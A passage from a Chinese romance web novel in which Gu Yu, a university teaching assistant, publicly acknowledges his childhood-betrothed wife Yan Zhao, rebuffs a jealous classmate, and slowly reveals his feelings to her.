有人写着笔记，余光却忍不住往这边瞟。 有人干脆停了笔，愣愣看着。 顾煜……真的有对象？ 而且还是直接带进教室的那种。 更让人说不出话的是，他对身边那个人的态度。 太不一样了。 平时的顾煜，话少、冷淡，站在讲台上像隔着一层看不见的距离。 可现在，他低声询问、替她翻书。 每一个动作都算不上亲昵，可偏偏透着一种耐心到过分的温柔。 那是他们从没见过的顾煜。 有几个女同学看着看着，心情变得有点复杂。 震惊是真的。 失落也是真的。 但更多的，是一种说不清的感觉。 原来顾煜也会这样。 原来他不是天生冷冽，只是他的温柔，从来不对外人。 而更让人无法忽视的，是—— 顾煜真的有对象啊！ 在下课铃响起的时候，言昭还没反应过来。 她正合上书，指尖还停在那页纸上，顾煜已经站起身，顺手把她的书合好收起。 她下意识以为这就结束了。 可下一刻，他偏头对她说了一句：“跟我来。” 言昭一愣，只能跟着站起来。 一路往前走，她心里隐约有点不安，直到看到讲台旁站着的那位男老师，她才意识到—— 顾煜是真的要带她见老师。 那位老师年纪不算大，戴着眼镜，气质温和。 他先是看了顾煜一眼，又把目光落在言昭身上，明显停顿了两秒。 那眼神里有惊讶，也有打量。 随即就笑了。 “你这小子。” 老师语气里带着调侃，“以前老说自己结婚了，我还以为你拿这事当挡箭牌，没想到是真的啊。” 言昭一下子紧张起来，下意识想往后退半步。 可顾煜站在她身侧，没让她动。 他对老师的态度明显和对旁人不同，语气温和而平稳。 “嗯。”他说，“老师，我们很早就在一起了。” 老师又看了言昭一眼，目光多了点了然，点点头：“挺好，挺好。” 说完，老师像是忽然想起什么，眉梢一抬，视线又落回顾煜身上。 那语气比刚才认真了一点，“那你对象现在都来了，我之前给你提的那件事，你就可以好好考虑一下了。” 顾煜的神色没什么变化，只是眼睫微垂了一下，然后说：“老师，我会好好考虑的。” 第7章 她是我老婆 在顾煜要带着言昭去吃饭，这位叫宁老师的说：“正好你爱人也在，来我家里吃个饭吧。你师母刚从老家过来，也一直想见见你老婆，做点家常菜一起热闹下。” 顾煜没有犹豫。 他点了下头，语气平稳：“好的，老师。” 像是已经习惯了这种邀请。 去老师家里吃饭？ 言昭下意识看向顾煜，心里有点慌。 这种地方、这种身份，她连食堂都觉得局促，更别说进老师家门。 顾煜侧过头，声音压得很低，说：“没事。” 只有两个字，却带着一种让人不自觉放松下来的力量。 顾煜又说：“老师，那我晚点带她过去，我想先带她去买点东西。” 宁老师点点头，也没多问，只笑着应下：“行，不急，你自己安排。” 老师说完就先离开了。 言昭这口气还没彻底松下来，走廊那头忽然传来一阵急促的脚步声。 下一秒，一道人影直冲过来，停在顾煜面前。 “顾煜——”女生语气是气急败坏：“你是不是在故意躲我？” 言昭一怔，下意识抬头。 是刘曼青。 和早上那个笑嘻嘻、语气轻快的女生完全不一样。 此刻的刘曼青脸色紧绷，眉眼凌厉，胸口起伏明显，显然是憋了一肚子火。 走廊里原本要离开的同学脚步都慢了下来。 有人假装整理书包。 有人干脆又坐回了位置。 视线却都若有若无地往这边飘。 顾煜对她的质问神色没有丝毫变化，“没有。” 两个字，干脆利落。 刘曼青被他这冷淡的态度噎了一下。 她的目光越过顾煜，猛地落在言昭身上。 那一瞬间，眼底情绪翻涌—— 审视、不悦，还有毫不掩饰的敌意，几乎要溢出来。 “你不是跟我说她是你姐姐吗？” 刘曼青的声音陡然拔高，尖厉又急躁，“那现在又是怎么回事？” 她死死盯着顾煜，语气带着明显的逼迫。 “顾煜，你现在必须给我一个解释！” 言昭站在他身侧，被这样当众质问，只觉得浑身不自在。 那种窘迫与心虚一齐涌上来，让她指尖发凉，连呼吸都变得小心起来。 顾煜侧身一步，直接牵住了言昭的手。 掌心相触的那一瞬，言昭整个人都僵了一下，她想要抽离，但顾煜力气很重，没有松开她。 顾煜抬眼，看向刘曼青，语气冷淡又直接。 “她是我老婆。” 话音落下，他语调一转，带着明显的疏离。 “还有，我跟你很熟吗？” “你有什么资格质问我？” 此时刘曼青的视线死死盯在两人交握的手上，瞳孔微微放大，满脸都是震惊。 她太清楚顾煜这个人，有多洁癖。 平日里别说牵手，哪怕是不小心被人碰到衣角，他都会下意识避开，眉眼里的嫌弃藏都不藏。 可现在—— 他牵着别人的手。 还牵得这样理所当然。 等那句“我老婆”彻底落进耳朵里，刘曼青的脸色瞬间变了。 “不可能……” 她声音发颤，抬头看着他，满是不可置信，“你怎么能这样对我？” “你明明说过你会帮我的！” 顾煜听见这话，神情连动都没动一下。 他甚至轻轻“啊”了一声，语调懒散，却冷得彻底。 “那是你成绩太烂。” 他说得直白又随意，“老师拜托了我好几次，我才顺手帮你。” 一句话，干脆利落。 所有被人刻意营造出来的暧昧与期待，在这一刻被踩得粉碎。 走廊里安静得过分。 刘曼青站在原地，脸色一点点褪白，像是终于意识到自己一直以来抓着的，不过是场自以为是的错觉。 而顾煜已经不再看她。 他低头看了言昭一眼，方才那股冷意像是被收了回去，语气明显放轻。 “我们走吧。” 话音刚落。 刘曼青像是被那句话彻底点燃。 她猛地上前一步，扬手就要甩过去，动作又快又狠，带着压不住的情绪。 言昭下意识想挡到前面。 却被顾煜先一步护住。 他侧身一步，手臂挡在她身前，随即微微一偏，极轻松地避开了那一下。 动作干脆利落，像是早就预料到会有这一出。 刘曼青的手挥了个空，重心一失，整个人踉跄着往前扑了一下，之后狼狈站稳。 顾煜这才抬眼看她，冷淡至极：“你要再胡扯，我让你毕业不了还是可以做到的。” 言昭也是没想到这个女生还会动手，她蹙眉说：“城里的姑娘竟然也会做这么丢面的事情吗？” 这话不重，却偏偏像一记清脆的耳光，抽得人脸上发烫。 顾煜明显愣了一下。 他侧头看向言昭，像是没料到她会开口，更没想到她会说得这么直。 下一瞬，他唇角却轻轻勾了起来。 不是笑给刘曼青的。 而是那种很淡、很短的弧度，带着点纵容，也带着点认同。 “城里人跟乡下人，”他语气平平，“也没什么区别。” 说完这句话，他已经不再看身后的人。 “我们走吧。” 两个字落下，他牵着言昭，径直离开。 走廊里还残留着压抑的安静，几道目光追随着他们的背影，却没人再敢出声。 言昭被他牵着往前走，步子有些快，心跳却出奇地一点点稳了下来。 方才那句话，其实是她没忍住才说出口的。 若这个姑娘真是被顾煜放在心上的人，她绝不会多嘴一句，也不会站出来说这种话。 在两人的身影刚消失在走廊尽头，刘曼青就再也绷不住了。 她站在原地，眼眶一红，眼泪几乎是瞬间掉下来。 不是小声啜泣，是那种憋到极限后的失控，肩膀都在抖。 但是没一个人上前安慰。 有些女生低声议论，语气里藏都藏不住的解气。 顾煜在学校里，本来就是不少人心里的“男神”，冷是冷了点，可从不暧昧，也不吊人。 偏偏刘曼青仗着长相、家世，天天围着人转，还一副“早晚是我的”姿态，早就惹得不少人不舒服。 现在看到她被当众撇得这么干脆，很多女生心里只有一个念头—— 活该。 而男生那边，更是啧声一片。 刘曼青长得好，又是厂长的女儿，追过她的男生不在少数，可她拒绝起来向来不留情面，话说得比谁都狠。 现在风水轮流转。 她也被拒绝了。 而且拒得这么彻底、这么难看。 有人摇头，有人低声笑，也觉得很解气。 …… 从教学楼出来，顾煜直接带着言昭离开学校去了百货店。 正是中午，人不少。 他一出现，目光自然就被吸了过去。 不是刻意张扬的那种，而是站在那里，就让人忍不住多看两眼。 言昭早就意识到这是来给她买东西的，心里有点慌，凑近他，小声说：“真的不用买，我带了不少。” 顾煜像是没听见。 肥皂、毛巾、牙刷、搪瓷盆，一样样往柜台上放，动作干脆。 言昭站在旁边，看得手都不知道往哪儿放。 她刚想再说一句，就看到他顺手又挑了两条裙子。 一条颜色素净，一条样式简单，却一看就比她身上穿的好得多。 售卖员看到他付钱这么爽快，又忍不住多看了他两眼。 目光在他脸上停了停，又落到一旁抱着东西、脸红得不行的言昭身上，笑意立刻就出来了。 “你们小两口感情真好。” 语气带着点调侃，又透着羡慕。 主要还是这个男生长得太好看，而旁边这个女生有点土里土气。 言昭被这一句话砸得更懵了，耳尖都快烧起来，下意识想解释，又不知道该怎么说，只能低着头假装整理怀里的东西。 顾煜却像是没听见这话似的，神情自然，把找零收好，顺手把她怀里快要掉下来的东西又稳了一下。 “走吧。” 等从百货店出来，她手里被塞满了东西，怀里抱着，胳膊都快抬不起来。 一路回到宿舍，两人大包小包地走着，引了不少侧目。 到了门口，却发现已经有人在等。 两个男生站在走廊边，像是特意等着。 看到顾煜，立刻直起身。 顾煜停下脚步，把钥匙递给言昭，语气自然：“你先进去。” 言昭愣了一下，下意识点头。 她推门进去的那一刻，听见顾煜在身后对那两人说了句什么。 门关上的瞬间，声音被隔在外面。 她站在屋里，低头看着怀里的东西，又看了看那两条裙子。 心跳，慢慢乱了节奏。 怎么办。 花了不少钱。 言昭立马把买回来的东西一件件摆放好。 搪瓷盆放在角落，毛巾叠好挂起来，肥皂和牙刷也整整齐齐地放在桌上。 最后，她的目光落在床上。 那两条裙子被叠得平整，颜色干净，布料一看就比她从前穿过的所有衣服都要好。 两辈子加起来都没穿过这个好的。 言昭站在那里，看了好一会儿。 她也从来没见过这么好看的裙子。 更没想过，有一天会有人连问都不问一句，就这样买给她。 她忽然意识到一件事。 顾煜是真的在对她好。 好到让她一时间都有些不敢相信。 …… 顾煜这边，被那两个男生拉到了走廊尽头。 其中一个明显压着火气，开口就急了：“顾煜，刘家那边已经放话了，说要把你踢出去。” 顾煜脚步一停，神情却没什么变化。 另一个男生忍不住补了一句：“这个项目的核心就是你，你要是走了，这个团队直接就废了。” 他是真的着急。 这个计划实施了这么久，好不容易走到现在，所有关键步骤几乎都压在顾煜身上。 顾煜却只是抬眼，看了他们一眼。 “没事。” 语气很淡。 那两人被他这反应噎了一下，更急了。 “怎么可能是没事啊，你得告诉我们啊，这到底是怎么回事？” “刘家那边突然翻脸，肯定不是无缘无故的。” 其中一个犹豫了一下，还是问出口：“刚刚那女生……是谁？”他顿了顿，压低声音：“你不会是跟刘曼青发生什么了吧？” 顾煜闻言，眉心微不可察地皱了一下。 “她是我老婆。” 这句话落下，两个人同时愣住。 走廊里安静了两秒。 “你结婚……是真的？” 其中一个男生喉咙发紧，“不是说娃娃亲吗？” 顾煜：“合法，有结婚证。” 他语调很稳，像是在说一件再正常不过的事。 这两人对视了一眼，神情一下子明白过来。 他们当然知道刘曼青有多喜欢顾煜。 在学校里，那点心思几乎是摆在明面上的，只是顾煜从来不接，也没人真当回事。 可现在不一样了。 顾煜的老婆，人真的来了京市。 刘家那边肯定不会放过顾煜。 其中一个男生抓了抓头发，语气里全是不甘心：“那……这个项目怎么办？” 另一个也跟着叹气：“说放弃就放弃，真的不甘心啊，咱们熬了这么久。” 顾煜停下脚步，转身看了他们一眼。 神情依旧冷静。 “谁说要放弃了？” 两人一愣。 顾煜语气不疾不徐：“最近我有个新的想法。如果能走通，条件反而比现在更自由。” 他顿了顿，又补了一句：“到时候，你们再过来，跟我一起做。” 话音落下。 刚才还焦虑不安的两个人，眼睛几乎是同时亮了。 “真的？” “你已经想好了？” 顾煜点头，语气很淡，却笃定：“有七成把握。” 那两人互看一眼，情绪一下子从低谷翻了上来。 他们太清楚顾煜这人了。 不轻易开口，一旦说了，就不是空话。 “行。” 其中一个用力点头，“那我们等你。” 另一个笑了起来，压低声音：“只要你在，刘家算什么。” 顾煜没再多说。 只是转身往宿舍方向走去，“嗯，我先回去了，她一个人，很容易害怕。” 那两个人却站在原地，半天没动。 对视了一眼，眼神里全是震惊。 其中一个忍不住下意识问出口：“……不是吧？” 另一个反应更夸张，嘴巴张着，半天没合上。 “这还是顾煜吗？” “我认识的那个顾煜？” 他像是想象不出来似的，低声嘀咕：“那个娃娃亲对象，到底什么来头啊？” 另一个被问得一噎，摊手回了一句：“你问我，我怎么知道。” 两人沉默了几秒。 然后几乎是同时开始回想，那个女生到底长什么样子。 第8章 我怕你生气 言昭把买回来的东西一样样拿出来，重新整理了一遍。 日用品放好，衣服叠齐，最后才打开衣柜，把那两条新裙子小心地放进去。 她没穿。 甚至没多看几眼。 就那么规规矩矩地收好，像是怕自己多想。 没过多久，门被推开。 顾煜回来了。 他一进屋，目光下意识往她身上扫了一圈，随后落到衣柜方向，像是已经猜到了什么。 “怎么没穿？”他说：“正好穿着，我们去老师家。” 言昭一愣，脸颊慢慢泛红，小声回了一句：“还没洗……” 顾煜想了想，点头：“也是。” 语气藏着一点失望。 “那我们走吧。” 他说完就准备转身拿东西。 言昭站在原地，手指攥紧了衣角，明显有话要说。 她犹豫了两秒，还是开了口。 “小煜。” 这一声叫出来，顾煜脚步顿住，回头看她。 顾煜停下脚步，回头看她。 这是来到京市后，她第一次这样叫自己。 他其实不太喜欢这个称呼。 太像被放在某个安全却疏离的位置里，像是被刻意拉开了一步。 可他没有打断她。 因为他看得出来，她是有话要说。 言昭站在原地，指尖攥着衣角，力道很紧，像是在给自己鼓劲。 “我只是你姐姐。” 她顿了顿，像是在斟酌措辞，“你现在在大学里，要是有喜欢你的姑娘……你也可以考虑一下。” 话说完，她自己都觉得心口发紧。 屋里一瞬间安静下来。 顾煜站在原地，看着她，眼神一点点沉下去。 不是生气。 而是一种被强行压住的情绪，在慢慢翻涌。 顾煜看着她，沉默了几秒。 那点被压住的情绪，终于露了头。 他开口时，声音低而稳，一字一句，清楚得不容回避。 “你不是我姐姐。” 言昭一愣。 顾煜继续说下去，语气没有起伏，就像是在陈述一条早就写好的事实。 “你是我的童养媳。” “是我结婚证上的老婆。” 这句话落下，言昭下意识摇头，几乎是立刻反驳。 “那都是小时候的事了。” 她声音有点急，“婶子当年是为了你身体，才按了这么一个名头。” “结婚证也是……那时候我们还小，什么都不懂。” 她抬头看着他，像是在努力说服他，也像是在说服自己。 “我们是一起长大的。” 这话空气安静得过分。 顾煜像是终于确认了一件事，她不是不懂。 她是在逃。 而这一次，他显然不打算再让她躲过去。 顾煜忽然伸手，扣住了她的手腕。 言昭心口一跳，下意识想说话，想挣扎后退，可他已经带着她往前走了几步，然后把人按坐在床沿上。 床铺微微下陷。 紧接着，他俯身过来，身影覆下，将她困在那一小片空间里。 言昭呼吸一下子乱了。 她抬眼，就看见顾煜近在咫尺的脸。 昏暗的光从侧上方落下来，勾出他清晰的眉骨与下颌线，眼神沉得发暗，不再是平日里那种冷静，而是一种被压了太久的、几乎要失控的情绪。 他的手撑在她身侧，床板轻轻响了一声。 距离近到，她能清楚感受到他呼吸的热度。 “弟弟可以对你这样吗？” 顾煜一边说着说着，他一边侧过头，靠近她耳边，呼出一口炽热的气息。 温度贴得太近了。 近到言昭指尖一颤，呼吸都乱了节拍。 “这样呢？” 他的声音低低的，压得极深，“弟弟也能对你这样吗？” 这种逼近不是触碰，可比触碰更让人无处可躲。 言昭下意识伸手去推他，掌心抵在他胸口，力道带着慌乱。 “你别——” 话没说完，顾煜已经顺着她的力气俯身下来。 不是粗暴。 是很缓和的顺势。 床垫轻轻下陷，她被迫躺回去，他一手撑在她身侧，将她困在身前。 依旧留着最后的距离，没有真正压实。 两人的呼吸在狭窄的空气里交错。 “那这样呢？” 他的目光牢牢锁着她，语气低而直白。 “我们这样了，还只是姐姐和弟弟吗？” 言昭彻底僵住了。 她从未这样近距离地感受过顾煜的存在。 记忆里的他，还是那个安静、冷淡、总是低着头的小男孩。 她只记得他身体一向偏凉，冬天坐在灶边，手指冰冰的，被她拉住时，也只是安静地任由她牵着，从不挣扎。 可现在，全然不同。 她能清楚地感觉到，他整个人都带着温度。 不是那种柔和的暖意，而是被强行压住的热，紧绷，仿佛下一刻就会失控溢出。 言昭的喉咙发紧。 她忽然意识到，自己好像一直用“小时候”“一起长大”这些理由，把很多东西刻意忽略了。 不是他变了。 是她从来没有真正看过他。 顾煜的动作在半空中停住了。 他原本是想俯下身，再靠近一点，想用最直接的方式碾碎她那些退让、逃避、把自己往“姐姐”位置上推的念头。 可就在他真正压下去的那一瞬间，他清楚地看见—— 言昭的脸色一下子白了。 不是害羞，也不是紧张。 而是那种被逼到角落里、下意识发冷的苍白。 她的指尖在发抖，呼吸乱得不成样子，身体僵硬得几乎绷直，像是下一秒就要碎掉。 顾煜心口猛地一沉。 所有翻涌的情绪在这一刻被生生按住。 他低低叹了口气，撑着床沿直起身，松开了她，坐到一旁，拉开了距离。 床垫回弹的那点动静，让屋里重新安静下来。 言昭还没缓过神，只能睁着眼睛看着天花板，胸口起伏得很快。 顾煜侧过脸，没有再看她，声音比刚才低了许多，也稳了许多。 “我不会逼你。” 他说完，停了一下，像是在压住什么情绪。 然后才继续开口，语气很重却很清晰—— “但我希望你以后能明白一件事。” “我不是你的弟弟。” …… 言昭一路跟着他走，始终低着头。 刚才屋里的那一幕还压在心口，她不太敢看顾煜，也不太敢说话，只能跟着他的脚步往前。 直到他们在一栋房子前停下。 她下意识抬起头。 然后愣住了。 那是一栋两层的小楼，外墙刷得干干净净，窗户很大，院子里还种着花草，台阶被人打扫得一尘不染，在傍晚的光里显得格外安静又体面。 言昭站在原地，一时间没反应过来。 她从没见过这样的房子。 不是村里那种一进一出的平房，也不是镇上临街的小楼。 她下意识攥紧了衣角，小声问了一句：“这是……住人的地方？” 顾煜站在她身侧，见她终于抬头肯跟自己说话了，语气也跟着缓和下来。 “嗯。”他说，“这是小洋房。” 言昭：“小洋房？” 这三个字她是听过的。 可只存在于别人嘴里、故事里。 是以前有钱人住的地方，后来被公家当官的住。 言昭从没想过自己会站在这种地方门口。 她张了张嘴，又不知道该说什么，只能下意识往后退了半步，像是怕踩脏了人家的地。 顾煜看见了。 他没说什么，只是伸手，轻轻按住她的肩，把她往前带了一点。 “别担心，跟我走就行。”他低声说。 言昭被他这一碰，背脊几乎是条件反射般绷紧了。 肩头传来的温度还没来得及消化，顾煜已经顺势揽住了她，根本不给她退开的余地，带着她直接往里走。 门一开，屋里的说话声顿了一下。 客厅里站着两个女生。 其中一个，言昭一眼就认出来了——刘曼青。 她正侧着身子跟旁边的人说话，脸上还带着点笑意，可在看见顾煜的瞬间，那笑像是被人硬生生按了下去。 目光落到他臂弯里的言昭时，情绪几乎是翻涌了一下。 愤怒、怨毒，像是没来得及收住的刺。 可那点情绪只停留了一瞬。 下一秒，她已经垂下眼睫，神情迅速软下来，眼眶微微泛红，像是受了天大的委屈。 而她身旁那个女生，胖乎乎的，穿得体面，头发梳得整齐。 她先是激动地看了顾煜一眼，眼睛亮得不行，随即目光落在言昭身上，从头到脚扫了一遍。 那眼神，没有半点掩饰，全是嫌弃。 很快，女生嘴角一撇，语气带着明显的轻慢： “我还以为顾煜哥哥的对象得多好看呢。” “皮肤这么差，而且这穿的都是什么啊？” “顾煜哥哥，你不觉得有点丢你的脸吗？” 这些话不算尖利，却字字都戳在言昭心口最软的地方。 其实一直都清楚。 自己灰扑扑的，从村里来，见识少，模样也算不上好看。 她原本就觉得，自己站在顾煜身边，是格格不入的。 现在被人当众说出来，那点勉强撑着的底气，瞬间就塌了。 她甚至没去看顾煜，只是低着头，视线落在地板上，耳边嗡嗡作响。 一个念头不受控制地冒出来—— 她是不是不该来京市。 不该来找顾煜。 如果她没出现，他在学校里依旧是那个干净、耀眼、让人仰望的顾煜。 不会有人因为她，说他丢脸。 不会有人当着他的面，挑她的出身、她的样子。 顾煜的眉头在那一瞬间彻底拧紧了。 不是不悦，是明显的厌烦。 他甚至没多看那女生一眼，语气冷得干脆利落：“你的家教被狗吃了？道歉！” 这话一落，屋里瞬间静得出奇。 那女生明显愣住了。 她显然没想到，平时对谁都算得上温和有礼的顾煜，会当众说出这么一句话。 脸色一下子涨红，又羞又恼。 “我……我为什么要道歉？”她嘴上还硬着，声音却明显没刚才那么足，“我说的本来就是真的……” 话音越说越小。 因为顾煜已经侧过身，正眼看向她。 那一眼，冷得让人心里发毛。 不是发火，也不是吼人。 就是那种毫不掩饰的压迫感，像是在等她自己意识到越界。 女生下意识攥紧了衣角。 就因为自己说了一句他对象的不好，就真的生气了？ 屋里没人说话。 连刘曼青都没再开口。 那女生咬了咬唇，终究还是扛不住，低着头，小声又别扭地挤出一句：“……对不起。” 声音轻得几乎听不见。 顾煜这才收回视线。 “道歉不是说给我听的。”他说得平静，“是跟我爱人说的。” “爱人”两个字，被他叫得极顺。 刘曼青的脸色当场沉了下去，指尖攥紧，连笑都挂不住了。 那女生更是愣住，眼神在顾煜和言昭之间来回扫了一圈，脸上写满了不甘和困惑—— 顾煜哥哥怎么会喜欢这种……乡下来的老婆？ 可她什么都不敢再说。 刚才那一眼的压迫感还在。 她只能咬着牙，心不甘情不愿地转向言昭，声音挤得又轻又别扭：“……对不起。” 这一次，说得清清楚楚。 言昭什么话都没说。 她只是忽然感觉到，方才一直发紧、发凉的心口，在顾煜那一句话落下后，又重新恢复了跳动。 一下。 又一下。 言昭对那句道歉没有多余反应，只是轻轻点了点头，算是接下了。 然后很快低下头，视线落在自己脚尖前那一小块地面上。 没有得意，也没有委屈。 只是本能地收起情绪，像从前那样。 顾煜却没再给任何人开口的机会，手臂自然地揽着她的肩，把她往里带了带，语气淡淡：“我们走了，跟老师说下次再一起吃饭。” 说到他就带着言昭离开。 …… 言昭被他带着往外走，脚步却一点点慢下来。 出了小洋房，夜风一吹，她心口那点被护住的温度反而散得更快，只剩下一种说不清的别扭。 她忽然停住，伸手推了他一下。 “你去吧。”她低声说，“你去跟老师吃饭。我自己回去就好。” 顾煜回头看她：“为什么？” 她没想到他会问得这么直接，一时间竟有点答不上来，停了两秒，才勉强把话说顺。 “你明明跟老师约好了。”她声音放得很轻，“你不去，你老师会生气的。” 此时言昭站得很规矩，肩背绷着，明显像是已经习惯把自己往后放。 他摇了下头，语气平静：“不会。我跟老师认识很多年了，他不会因为这点小事对我生气。” 他又补了一句：“但是我怕你生气。” 第9章 我的意思已经很明显了 言昭抬起头，这才后知后觉地发现，顾煜是真的很高。 她站在他面前，不自觉就得仰着头看他，脖子微微发酸。 顾煜应该比他哥还要高…… 不，肯定比顾城高。 顾煜也察觉到了她仰头的姿势。 他几乎是下意识地动了。 微微屈膝，低下身子，与她平视。 这个动作太自然了，自然到言昭一瞬间怔住。 她从来没见过谁，会因为她仰着头，就主动低下来。 那一瞬间，言昭几乎是本能地往后退了一步。 可没能退开。 因为顾煜已经抬起手，双手轻轻捧住了她的脸颊。 不是那种强硬的力道。 掌心很暖，温度清晰。 他像是早就想这么做，但一直忍着。 “你不要生气。” 顾煜此刻声音压得很低，说得很慢，“我跟她们，没有任何关系。” 他停了一下，又继续解释： “一个是因为成绩太差，老师拜托了我好几次，我才勉强帮忙。” “刚刚那个年轻点的，是老师的独生女，被惯坏了，我也一直都不喜欢。” 言昭怔怔地看着他。 脑子里一片空白。 她其实想说，她真的没有生气。 也想说，她只是觉得自己不该站在他身边。 可这些话，在他捧着她脸的这一刻，全都堵在了喉咙里。 一句也说不出口。 因为他的眼神太认真了。 顾煜忽然低低叹了口气。 那一瞬，他脸上的冷静像是被抽走了一角，露出一点少见的情绪。 “那你要怎么样，才不生气？”他说得很轻，语调却有点不太对，“要不……我让别人来跟你讲？讲清楚，我跟她们一点关系都没有？” 这话一出口，反倒像是委屈了。 言昭一愣，立刻摇头，动作有些慌。 她伸手，把他捧在自己脸颊上的手轻轻推开，声音有点乱。 “不是的。” “我……我相信你，我真的没有不相信你。” 她停了一下，又下意识补了一句，语气小心翼翼。 “而且我觉得，她们对你……” 话还没说完。 顾煜忽然打断了她。 “你不要你觉得。”他看着她，眼神很深，“你要我觉得，才行。” 言昭怔住。 顾煜往前走了一步，距离拉近，但是没有再碰她，只是低声开口，声音压得很稳，带着不容回避的意味。 “我觉得，我的意思已经很明显了。” “昭昭。” 他叫她名字的时候，语调比平时低一点。 言昭站在原地，心口猛地一震。 那些她一直压着、绕开的念头，被他这样直白地掀开，连一点退路都没给。 风从院子里吹过，小洋房的影子落在地上。 言昭整个人都愣住了。 像是被那句话定在原地，一时半会儿回不过神。 顾煜看着她这副反应，喉结动了一下，终究还是低低叹了口气。 他很清楚，再往前逼一步，只会让她缩得更紧。 “算了。” 他语气放缓下来，“我们回去吧，你也饿了。” 他说完这句，很自然地伸手去牵她，像是这件事本就该这样结束。 言昭几乎是条件反射般，把自己的手抽了回来。 动作不大，意思很明显。 顾煜的手停在半空，顿了一下，也没再勉强，只是收了回去，继续往前走。 言昭跟在他身后，脑子里已经乱得厉害。 她是真的疑惑。 从小到大，她和顾煜……其实并不算亲密。 她一直把他当弟弟看。 婶子在的时候，她更多是照顾，照顾他吃穿，照顾他别冻着别饿着。 后来婶子去世，他读书越来越好，人也越来越冷，像是一下子和村子隔开了。 高考那年，他直接考去了全国最好的大学。 再后来，两人几乎没有交集。 当时自己的全部心思，都压在了顾城身上。 上一世，她为了顾城，什么都肯做，什么都肯忍。 甚至连离婚，都是通过邮寄材料解决的。 顾煜那边，也从头到尾没有一句多余的话。 没有挽留，没有追问，什么都没有。 所以言昭一直以为—— 他根本不在意。 可现在，这个人站在她身边，总做出一些让人羞愤的事情，说一些让人误会的话。 言昭低着头，脚步越来越慢。 她忽然发现，自己好像从一开始，就没真正看懂过顾煜。 …… 顾煜带着她往学校外面走去，言昭看出他的意思，小声说了一句：“去食堂就行了。” 顾煜脚步没停，只淡淡回了一句：“食堂关门了。” 这一句落下，言昭心里又是一紧。 她低下头，几乎不用多想，就知道原因全在自己身上。 要不是她，顾煜已经在老师家里吃饭了。 顾煜像是早就察觉到她情绪的变化，忽然侧过头，看了她一眼，语气平静：“你要是再继续自责下去，我以后都不会去老师家了。” 言昭猛地抬起头。 那一瞬，她脸上的神情是彻底的惊愕，像是没想到他会用这种方式说话。 顾煜自然看见了。 他心里微微一动，觉得她这个表情……有点过分乖了。 但他偏偏又故意移开视线，像是真的在认真执行自己刚刚说的话。 言昭已经慌了。 她盯着他看了两秒，确认他不像是在随口一说，连忙伸手，指尖捏住了他衣角的一小片布料。 她刚想开口解释。 下一秒，前方忽然走过来几个人。 有男有女，看着都很年轻，显然是大学里面的学生。 在看清顾煜的脸后，其中一个男生先是一愣，随即扬声喊了一句—— “顾助教！” 这一声不算大，可大家都听见了。 几个人的目光齐刷刷落了过来。 先是看顾煜。 然后，很自然地，落在了他身边的言昭身上。 有一瞬间的安静。 言昭的手赶紧松开。 顾煜点头，表现的很是冷淡。 那几个人连忙点头，有人笑着应声，有人却忍不住多看了言昭两眼，眼神里全是藏不住的好奇。 这也是最近学校全是关于这位顾助教的流言。 说顾助教为了乡下老婆，把刘曼青给甩了。 刘曼青是谁？ 那可是校花加厂花。 顾煜像是没看见那些目光，只往前走了一步，顺势挡在言昭前面，轻声说：“我们走吧。” 侧脸在路灯下被灯影勾勒得格外清晰，轮廓干净而俊美，眉骨线条柔和下来，不再显得凌厉。 那双一贯冷淡的眼，此刻低垂着，眸色沉稳又温和，像是把所有锋芒都收了回去。 是那种刻意示好的温柔。 那一瞬间，周围的女生几乎同时愣住。 顾煜在学校里向来俊得冷淡，气质清贵疏离，连微笑都带着距离感。 可现在，他微微低着头，替人挡住视线，声音放得极轻，语调缓慢又耐心，像是生怕惊着身边的人。 那种俊美与温柔叠在一起的反差，几乎让人移不开眼。 女生们轻轻吸了口气。 等到顾煜带着言昭走远，那几个人才慢慢停下脚步。 短暂的安静过后，窃窃私语还是冒了出来。 “……那就是顾煜那个封建包办的老婆啊？” “瞧着是没刘曼青好看。” 有人小声补了一句，“而且刚刚那样子，畏畏缩缩的，说实话确实有点上不了台面。” 话音落下，又有人犹豫着接了一句。 “可顾助教对她……是真的不一样。” 这话一出，反倒没人立刻反驳。 “是啊。”另一个女生叹了口气，“要不是亲眼看到，我都不信顾助教能有这么温柔的一面。” “这么多年，谁见过顾煜让人近身？” “连刘曼青靠近一步，他都嫌。” 有人语气忽然变了点，带着明显的羡慕。 “说实话……顾助教才叫专情吧。” “家里给定的媳妇，他也没嫌弃，还一直带在身边。” “换成别人，早就找理由甩干净了。” “就是。” “要我说，那姑娘虽然不起眼，可命是真的好。” 议论声渐渐散开。 …… 两人很快走到校外一条不太起眼的小街。 街口拐进去，是一家私营的小饭馆，门脸不大，却亮着灯，里面热气腾腾。 服务员迎上来时态度明显比上回国营饭店热络得多，说话也客气。 言昭低头看着墙上贴着的菜单，字认得，可那价格一个个都看得人心里发紧。 她犹豫了两秒，还是指了指最下面那一行，小声说了一句：“一碗水饺就好。” 其实水饺对她来说，也不算便宜。 但她已经能接受的最好了。 顾煜没多说什么，只跟着点了一碗。 两碗水饺很快端上来，白汽往上冒，香味一下子散开。 言昭低着头吃得很认真，几乎不敢抬眼。 可这碗水饺实在太多了。 她吃得慢，腮帮子微微鼓起，咬了一口又一口，到了后面明显有些吃不动了。 正在想着怎么硬撑下肚，眼前的碗忽然一空。 言昭一愣，下意识抬起头。 就看到顾煜已经把她的碗端到了他自己面前，神情自然得不像在做什么特别的事。 然后他低头继续吃了起来。 尤其是她剩下的那半个水饺，上面还留着她咬过的痕迹，也被他直接送进了嘴里。 最后连汤水，也一并喝完。 言昭整个人僵住了。 脸颊跟着“腾”地一下红了起来，连耳尖都在发烫。 她张了张嘴，想什么，又什么都没说出来，只能低头盯着桌角，心跳乱得不行。 顾煜把碗放下，像是才意识到什么，侧头看了她一眼，语气平常：“我看你吃不下去，但是我有点饿，所以帮你吃完了，正好也不浪费。” 那语气再自然不过。 刚刚还觉得整个人都要烧起来的言昭，在听见这句话后，她心口反倒一下子松了。 原来……是他饿着了。 她忽然有点庆幸。 庆幸他是真的饿，不然这碗水饺她也实在吃不完，浪费了反倒心疼。 而且说实话，这水饺确实好吃。 皮薄，馅大，肉剁得细，咬下去还有汁水，带着一点点香。 她低头慢慢回味了一下，心里面想着是怎么做出来的。 这时顾煜已经起身去付了钱。 回宿舍的路上，夜风吹得人清醒不少。 走了一段，他忽然像是随口一提似的，说了一句：“不如你做的好吃。” 言昭脚步一顿，下意识抬头看他。 那表情实在太明显了。 惊讶、茫然，还有点不敢信。 